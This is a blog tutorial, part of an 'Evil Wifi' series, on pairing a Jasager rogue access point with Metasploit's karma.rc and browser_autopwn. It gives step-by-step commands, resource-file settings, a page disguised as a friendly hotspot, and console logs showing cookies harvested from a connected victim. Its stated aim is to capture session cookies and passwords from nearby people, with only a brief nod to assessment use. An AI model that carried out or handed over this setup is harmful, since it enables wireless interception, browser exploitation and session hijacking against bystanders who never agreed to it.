This is a multi-part series on getting Jasager to play nicely with Metasploit, Hamster & Ferret to create an evil wifi tar-pit of sorts. The end result will be a wireless network that can gather and replay session cookies for web applications and log passwords for a number of different protocols.
Building on Jasager's ability to create a greedy wireless network, part 2 of this series shows how to use some of the "designed for karma" features of H.D. Moore's excellent Metasploit Framework to wreak wireless havoc.
What you'll need
A bunch of Karma (I'm assuming you use a Fonera with Jasager)
A crossover ethernet cable (some NICs auto-crossover)
A computer capable of running Metasploit Framework
What's the point?
If you have the right hardware, you can easily run some Linux tools that enable Karma and metasploit to run side by side on the same system. This is known as "Karmetasploit" and there are probably a thousand or more blog posts about it out there on the Internet. HD Moore's official karmetasploit page is a good place to look, though.
Initially, I started working on this because I was hitting roadblock after roadblock trying to get karmetasploit to work with the hardware I have. Another reason I like running Jasager as the Karma engine for Metasploit is because you can run Metasploit on whatever operating system you want. Metasploit framework uses ruby on rails, an OS-agnostic scripting language that works quite well on most platforms. This takes silly drivers, complicated shell scripts and pseudo-interfaces out of the equation for the user. They exist, but now they're all running on the Fonera courtesy of Jasager, and require no interaction thanks to the changes we made in Part 1.
One of the evil things Metasploit will do is force all web requests to load a page with a bunch of iframes apparently belonging to high-profile sites in order to get session IDs, miscellaneous cookies and auto-form-complete values for them, if stored in the victim's browser. In order to accomplish this, a fake DNS server is launched that replies to all requests with a response of the IP address we're using. It also launches a fake web server that issues the aforementioned page. This is why we configured Jasager to send DHCP options for DNS and default route to 192.168.1.2.
I usually run Metasploit framework under Linux or BSD. I'll be using Ubuntu 9.04 Jaunty Jackalope as a lowest-common-denominator for this. Most platforms will require some prep-work installing the dependencies (i.e. Ruby and some of its libraries)
Debian and derivatives such as Ubuntu
Mac OS X
Windows (.exe Installer)
On Ubuntu, in addition to the packages listed in the installation instructions above, we need to install sqlite and its stuff for ruby
axon@virtubuntu:~$ sudo apt-get install \
sqlite3 libsqlite-dev libsqlite3-ruby
I use subversion to snag the latest development release of MSF, but you could just as easily download the Metasploit Framework 3.2 archive.
axon@virtubuntu:~$ sudo apt-get install subversionInstall Karma
axon@virtubuntu:~$ svn checkout \
(output snipped - the MSF repo is something like 20,000 files!)
Checked out revision 6888.
Download the Karma resource file for metasploit: karma.rc
Stash karma.rc in the msf directory (where msfconsole is), or wherever the core metasploit framework files went when you unpacked them.
Time to tweak stuff
First tweak: Karma.rc has 'issues' - so we make a few changes:
- We're using 192.168.1.2 for our metasploit system
- The older "load db_sqlite" syntax is used (the new syntax is "db_driver sqlite3")
setg AUTOPWN_HOST 192.168.1.2
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST 192.168.1.2
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads
Next, we really have to do something about the default metasploit page that loads when a victim falls into our trap. It doesn't exactly scream "you've been owned" but it certainly doesn't look like any friendly WiFi hotspot I've ever connected to, either.
Take my modified HTML file and replace the data/exploits/capture/http/index.html file with THIS ONE. Isn't this much more convincing?
Put on your robe and (black) wizard hat
- Make sure Jasager is powered up and plugged into your ethernet interface with a crossover cable.
- Make sure your ethernet interface has the proper address (192.168.1.2)
- Make sure you can ping Jasager
- Start msfconsole with the karma resource script!
axon@virtubuntu:~/msf$ sudo ifconfig eth0 inet 192.168.1.2
[sudo] password for axon:
axon@virtubuntu:~/msf$ ping -c4 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=38.0 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=1.67 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=1.56 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=64 time=1.53 ms
--- 192.168.1.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3008ms
rtt min/avg/max/mdev = 1.533/10.696/38.016/15.773 ms
axon@virtubuntu:~/msf$ sudo ./msfconsole -r karma.rc
_ _ _ _
| | | | (_) |
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
=[ msf v3.3-dev
+ -- --=[ 392 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 168 aux
resource> db_driver sqlite3
[*] Using database driver sqlite3
resource> db_connect /tmp/karma.db
[*] Successfully connected to the database
[*] File: /tmp/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 192.168.1.2
AUTOPWN_HOST => 192.168.1.2
resource> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
resource> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads
resource> set LHOST 192.168.1.2
LHOST => 192.168.1.2
resource> set LPORT 45000
LPORT => 45000
resource> set SRVPORT 55550
SRVPORT => 55550
resource> set URIPATH /ads
URIPATH => /ads
... BIG snip... A LOT of output
[*] Server started.
Test it out
Get a wireless computer connected to Jasager's advertized "guest" network (or try a random SSID and see if it works) then try to open a browser. You should get the "Welcome" or "Loading" page we set up earlier. At that point, your metasploit console should be scrolling with lots of lovely data!
[*] DNS 192.168.1.142:51335 XID 9878 (IN::A www.googol.com)
[*] HTTP REQUEST 192.168.1.142 > www.googol.com:80 GET / Mac FF 188.8.131.52 cookies=
[*] DNS 192.168.1.142:5353 XID 0 ()
[*] DNS 192.168.1.142:50718 XID 58634 (IN::A adwords.google.com)
[*] DNS 192.168.1.142:63751 XID 33590 (IN::A blogger.com)
[*] Request '/ads' from 192.168.1.142:49690
[*] HTTP REQUEST 192.168.1.142 > adwords.google.com:80 GET /forms.html
Mac FF 184.108.40.206 cookies=PREF=ID=0e98f2244567...
At any time, you can type the command "db_notes" in msfconsole to see what has been gathered. You can also keep an eye on your Jasager web console to see who is connecting. At this point, you are now well on your way to capturing data from people nearby.
I won't lie. The legitimate uses of this are mostly limited to vulnerability assessment and gathering information from wireless leechers. If you're not careful you could end up denying service to legitimate networks nearby, so use your brain.
In part 3, we will be using Ferret to log interesting information, and Hamster to load the session IDs and cookies into our browser via a proxy.
I have a LOT of stuff going on this weekend, and a short work-week followed by DefCon. I hope to have part 3 of the Evil Wifi series published on Monday, but we'll see how things go. No promises, as I haven't even thoroughly lab-tested Hamster & Ferret for anything but hijacking the simplest of sessions with this setup.
H.D. Moore has herded cats, mastered exploits and come up with far-and-away the most massive Ruby project in existence. It also happens that he doesn't let it go to his head. Online and off, he is more than happy to help people understand concepts. I'm buying this guy a beer or two if I ever cross paths with him.
Evil Wifi Series
BT3 / Karmetasploit / Alfa update
Defense: Sidejacking, Subversive Wireless